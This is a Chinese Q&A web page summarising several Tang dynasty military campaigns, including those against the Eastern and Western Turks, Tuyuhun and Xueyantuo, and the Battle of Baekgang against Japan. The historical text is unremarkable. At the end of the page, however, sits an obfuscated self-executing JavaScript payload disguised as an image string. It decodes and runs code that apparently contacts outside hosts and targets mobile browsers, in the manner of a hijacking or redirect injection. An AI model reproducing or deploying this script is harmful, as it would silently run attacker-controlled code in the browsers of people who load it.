推荐回答(3个)
1、唐灭东突厥之战
唐贞观三年(629年)十一月至四年三月,在唐与突厥的战争中,唐王朝为消除北方威胁而攻灭东突厥颉利可汗部的重要作战。
颉利可汗率万余人欲逃过碛口,遭李绩军堵截,其大酋长皆率众投降。颉利逃往灵州(治今宁夏灵武西南)西北的沙钵罗部落,欲投奔吐谷浑,被大同道行军副总管张宝相俘获送往长安。
此战过后,突厥对中原的袭扰得到了遏制,还对周围的其他少数民族政权起到了极大的震慑作用,唐朝此后极少收到来自其他民族的袭扰。
而且突厥的实力得到了极大的削弱,从而保障了中原地区的经济发展,给后来的开元盛世创造了安定的环境;同时增广了唐的北方统治面积,为后来的北庭都护府的建立提供了条件,也为后来的歼灭西突厥创造了机会。
![](/picurl?url=https%3A%2F%2Fiknow-pic.cdn.bcebos.com%2F79f0f736afc379311e9b6ba7e6c4b74542a91148%3Fx-bce-process%3Dimage%252Fresize%252Cm_lfit%252Cw_600%252Ch_800%252Climit_1%252Fquality%252Cq_85%252Fformat%252Cf_auto)
2、唐击吐谷浑之战
唐击吐谷浑之战是发生在唐太宗贞观九年的一次唐朝对外战争。由于吐谷浑王慕容伏允拒绝朝贡,唐太宗派军队征讨。
唐军老将李靖高龄挂帅出征,在猛将侯君集、李道宗等人的配合下,唐军大破吐谷浑,吐谷浑全国投降于唐朝,伏允自缢而死。此役为唐军在西北各部族树立了威信,也向西扩大了唐朝疆域的实际控制范围。
3、唐灭薛延陀之战
唐灭薛延陀之战,是唐太宗时期灭亡漠北薛延陀的战争。贞观前期,唐朝曾与薛延陀结盟,对付强大的东突厥汗国,630年击灭东突厥。东突厥失败后,薛延陀的真珠可汗夷男接管了东突厥的故土。
薛延陀臣服于唐,暗中在扩大自己的力量。639年,唐太宗试图恢复东突厥,拥立俟力苾可汗阿史那思摩,以抗衡薛延陀的崛起,薛延陀与新恢复的东突厥进行多次战争,以防止唐朝的抗衡。
为了避免薛延陀打败东突厥,唐将李勣在641年战胜薛延陀。但是644年,趁唐太宗征讨高句丽的机会,薛延陀部队发起新一轮攻势,击败东突厥,迫使阿史那思摩逃回中原。
随后,高句丽寻求薛延陀的援助,但夷男希望避免与唐朝直接战斗。645年,夷男死后,他的儿子多弥可汗拔灼开始和唐朝大军作战。
646年,唐军反击并打败拔灼后,薛延陀的附庸回纥出兵,将他杀死。拔灼的堂兄伊特勿失可汗咄摩支向唐军投降,薛延陀灭亡。
4、唐灭西突厥之战
显庆二年闰正月二十一日,唐以苏定方为伊丽道行军总管,率燕然都护任雅相、副都护萧嗣业,发唐兵与回纥兵万余人,从北道讨伐西突厥沙钵罗可汗。
又命右卫大将军阿史那弥射和左屯卫大将军阿史那步真为流沙安抚大使,自南道招集西突厥余众。十二月,苏定方率军在金山(今阿尔泰山)北,击破处木昆部,其俟斤懒独禄等率万余帐归降,苏定方征调其千名骑兵从军。
唐朝采纳右领军郎将薛仁贵建议,争取泥孰部(弩失毕五俟斤之一)共袭沙钵罗。苏定方率唐及回纥兵万余人至曳咥河(今新疆额尔齐斯河)西,沙钵罗率十姓兵10万将其包围。
苏定方命步兵持矛环据南原,自率骑兵列阵于北原。沙钵罗军三冲南原未逞,苏定方率骑兵乘势反击,大败沙钵罗军,追击30里,斩获数万人。
次日,唐军继续前进,胡禄屋等五弩失毕举部归降,沙钵罗与处木昆屈律啜数百骑西遁。五咄陆部闻沙钵罗兵败,也归附阿史那步真率领的南路唐军。
苏定方于是命令萧嗣业与回纥婆闰率骑兵向邪罗斯川(曳咥河南)进发,追击沙钵罗,苏定方与任雅相率新附之众继后。时遇大雪,深约二尺,诸将建议待天晴后再进军。
苏定方说服部众,利用沙钵罗以为唐军必然休兵的侥幸心理,踏雪昼夜兼程地继续追击。进至双河(今新疆伊宁北),南北两路唐军会师,又长驱200里,直抵金牙山(今中亚塔什干东北)沙钵罗牙帐。
沙钵罗及其将士正准备外出打猎,苏定方乘其无备,突然发起攻击,斩俘数万人。沙钵罗与其子咥运、婿阎啜等逃往石国西北之苏咄城。
苏定方乃息兵,令西突厥各部落返回居所,修通道路,设置驿站,掩埋尸骨,慰问疾苦,划定疆界,恢复生产。并将沙钵罗掳掠的牲畜、财物等,全部归还原主。
苏定方命萧嗣业率兵继续追击,自引大军凯旋。沙钵罗逃到石国,被石国人诱捕,送交萧嗣业。十一日,唐在西突厥故地设置漾池、昆陵二都护府,以阿吏那步真、阿史那弥射为都护,分统其十姓各部。
此战,苏定方对西突厥实行分化和重点打击相结合的方略,攻守兼施,及时反击,穷追猛打,连续作战,终获大胜。
5、裴行俭破西突厥之战
西突厥阿史那步真可汗去世后,各部落多有散失,酋长阿史那都支、李遮匐,收集余众,附于吐蕃。咸亨元年(670年)四月,吐蕃攻陷西域18州,唐天山南路之地尽为吐蕃所占。
二年四月,唐廷令都支为左骁卫大将军兼匐延都督,安集所属部众。调露元年,都支及其别帅李遮匐联合吐蕃,进兵
安西(都护府治所碎叶镇,今俄罗斯托克马克),威胁唐在西域的统治。六月,唐廷商议发兵讨伐事,裴行俭提出智取之策。
唐廷遂命裴行俭为安抚大食(今阿拉伯)使,以护送波斯王子回国继位为名,领兵西进,欲在途经西突厥境地时,见机行事,擒获都支等人,以安定西突厥各部。
七月,行俭等进至西州(治今新疆吐鲁番东南),召集当地豪杰子弟千余人跟随;扬言天热,需待秋凉再西行,使都支等人不加戒备。
随后,又以打猎为名,徐召四镇(龟兹、毗沙、焉耆、疏勒四都督府,均在今新疆境)诸部落子弟近万人,数日后,令其倍道西进。
行至距都支部落10余里,先派使者向都支问安,继派使者促其相见。都支与李遮匐原本相约于秋中抗拒唐使,不料唐军速至,被迫率儿侄首领等500余骑出迎,行俭遂尽俘都支等人。
然后,传其契箭,悉召诸部酋长前来听命,一并执送碎叶城。同时派出轻装精锐骑兵,昼夜兼程,进袭李遮匐。
途中恰遇李遮匐使者,即令其返回劝谕其主子,并讲明都支被擒等情况。李遮匐计穹,被迫投降。于是裴行俭遣波斯王子,自行还国,留副使王方翼于安西,加筑碎叶城。亲自押俘都支与李遮匐返回长安(今西安市)。
参考资料来源:百度百科——唐朝战争
大唐白江之战 最早的一次中日战争发生在唐朝初期。这次被称为“白江之战”的战斗以中国军队完胜告终。
唐朝初年,朝鲜半岛处于高句丽、百济、新罗三国鼎立的局面。三国都想统一半岛,但又不够力量,于是向邻国寻求援助,分别与唐朝和日本建立了外交关系。最后形成了以高句丽、百济、日本为一方,新罗、唐朝为另一方的政治局势。百济于660年向新罗进攻。新罗向唐告急,乞求唐朝出兵救援。唐高宗让苏定方率领水陆大军十万余,从成山(今山东荣城)渡海击百济。在唐军南北夹击之下,百济军队很快溃败。接着,唐军与新罗联兵向百济都城泗沘进军,不到十日,便灭亡了百济。唐在百济故地设置都督府,以大将刘仁愿率兵留守。
唐军灭了百济之后,原百济将领福信遣使至日本,向日本乞求援师。为了保住在朝鲜半岛上的势力,日本天皇任命阿昙比罗夫、阿倍比罗夫、秦田来津分率前军、后军和别动队,组成了一支远征军。此前,因驻守百济的唐军刘仁愿部被福信的百济军围困在熊津府城内,故唐高宗急调刘仁轨率军渡海增援,府城之围遂解。4月,唐军四万四千人以水陆两路向高句丽发起进攻。7月,唐军进至平攘,因久攻平攘不下,乃于次年2月撤军。百济发生内讧,福信被杀,百济力量因此严重削弱。
日本天皇令毛野稚子等率两万七千余人663年6月向新罗发起进攻,切断了唐军与新罗的联系。不久,由孙仁师率领的七千名唐朝援军也渡海到达熊津,与刘仁轨会师。刘仁轨与诸将制定了进攻周留城的计划。刘仁愿和孙仁师以及新罗王金法敏率军从陆路进攻;刘仁轨,杜爽则率领唐水军并新罗水军由熊津江入白江口,溯江而上,从水上进攻。
随即唐新联军从陆路三面围攻周留城,百济和日本守军相继投降。日将庐原君臣领军万余越海而来,准备自白江口登陆。周留城即建筑在白江河口上游不远处的左岸山地上,三面环山,一面临水,山峻溪隘,易守难攻。当时,尽管唐新联军已从三面包围了周留城,但百济只要能确保周留至白江一线安全畅通,就能得到日本从海上的支援,从而据险固守。因此,白江成为维系周留存亡的生命线,两军都誓在必争。
唐新水军首先到达白江江口。27日,日本水军也从海上抵达白江,两军遭遇。从当时双方的实力来看,唐朝水军七千余人,一百七十艘战船;日本水兵万余,一千多艘战船。日本虽然在人、船数量上有优势,但唐朝水军船坚器利,武器装备优于日本。对于这次战斗,《旧唐书.刘仁轨传》记载:“仁轨遇倭兵于白江之口,四战捷,焚其舟四百艘,烟焰涨天,海水皆赤,贼众大溃,余丰脱身而走。”
由上可知,此战唐将刘仁轨首先采用以逸待劳的战略战术,以旺盛的士气,率战船阵列于白江,因而在第一次较量中,轻而易举地就使日本“不利而退”。接着在次日的战事中,又利用唐军之战船高大坚固的优势,将日本的船只左右夹住,使其不得回旋,再施以火攻战术,焚日本之战船四百多艘,取得了战斗的最后胜利。中国历史上的第一次抗日战争战争至此结束,日本势力彻底退出了朝鲜半岛。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();